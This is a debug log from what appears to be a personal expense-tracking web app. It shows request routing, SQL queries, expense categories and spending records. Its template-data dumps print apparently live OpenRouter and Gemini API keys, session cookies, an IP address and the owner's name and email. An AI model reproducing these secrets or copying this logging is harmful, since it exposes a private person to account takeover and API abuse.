    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.248.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-07T09:25:26.433Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-07T09:25:26.434Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-07T09:25:26.434Z server-connect:app Executing action step identify
2026-03-07T09:25:26.434Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:26.434Z server-connect:output identity: 1
2026-03-07T09:25:26.434Z server-connect:app Executing action step restrict
2026-03-07T09:25:26.434Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:26.434Z server-connect:app Executing action step identify
2026-03-07T09:25:26.434Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:26.434Z server-connect:output identity: 1
2026-03-07T09:25:26.435Z server-connect:app Executing action step restrict
2026-03-07T09:25:26.435Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:26.436Z server-connect:output restrict: undefined
2026-03-07T09:25:26.436Z server-connect:app Executing action step select
2026-03-07T09:25:26.436Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-07T09:25:26.437Z server-connect:output restrict: undefined
2026-03-07T09:25:26.437Z server-connect:app Executing action step single
2026-03-07T09:25:26.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-07T09:25:26.441Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-07T09:25:26.442Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-07T09:25:28.403Z server-connect:router Serving templateView /expense/list
2026-03-07T09:25:28.403Z server-connect:app Executing action step identify
2026-03-07T09:25:28.403Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:28.404Z server-connect:output identity: 1
2026-03-07T09:25:28.404Z server-connect:app Executing action step restrict
2026-03-07T09:25:28.404Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T09:25:28.404Z server-connect:output restrict: undefined
2026-03-07T09:25:28.404Z server-connect:router Render template expense/list
2026-03-07T09:25:28.404Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.248.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.248.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-07T09:25:28.724Z server-connect:router Serving serverConnect /api/expense/list
2026-03-07T09:25:28.724Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-07T09:25:28.725Z server-connect:app Executing action step identify
2026-03-07T09:25:28.725Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:28.725Z server-connect:output identity: 1
2026-03-07T09:25:28.725Z server-connect:app Executing action step restrict
2026-03-07T09:25:28.725Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:28.725Z server-connect:app Executing action step identify
2026-03-07T09:25:28.725Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:28.725Z server-connect:output identity: 1
2026-03-07T09:25:28.726Z server-connect:app Executing action step restrict
2026-03-07T09:25:28.726Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:28.726Z server-connect:output restrict: undefined
2026-03-07T09:25:28.726Z server-connect:app Executing action step paged
2026-03-07T09:25:28.727Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-07T09:25:28.727Z server-connect:output restrict: undefined
2026-03-07T09:25:28.727Z server-connect:app Executing action step select
2026-03-07T09:25:28.727Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-07T09:25:28.730Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-07T09:25:28.743Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-07T09:25:35.224Z server-connect:router Serving templateView /diecast-reports
2026-03-07T09:25:35.224Z server-connect:app Executing action step identify
2026-03-07T09:25:35.224Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:35.224Z server-connect:output identity: 1
2026-03-07T09:25:35.224Z server-connect:app Executing action step restrict
2026-03-07T09:25:35.225Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T09:25:35.225Z server-connect:output restrict: undefined
2026-03-07T09:25:35.225Z server-connect:router Render template diecast-reports
2026-03-07T09:25:35.225Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"163d-QEYfoAWELc8biR/gFewpN01aMSw"',
    priority: 'u=1, i',
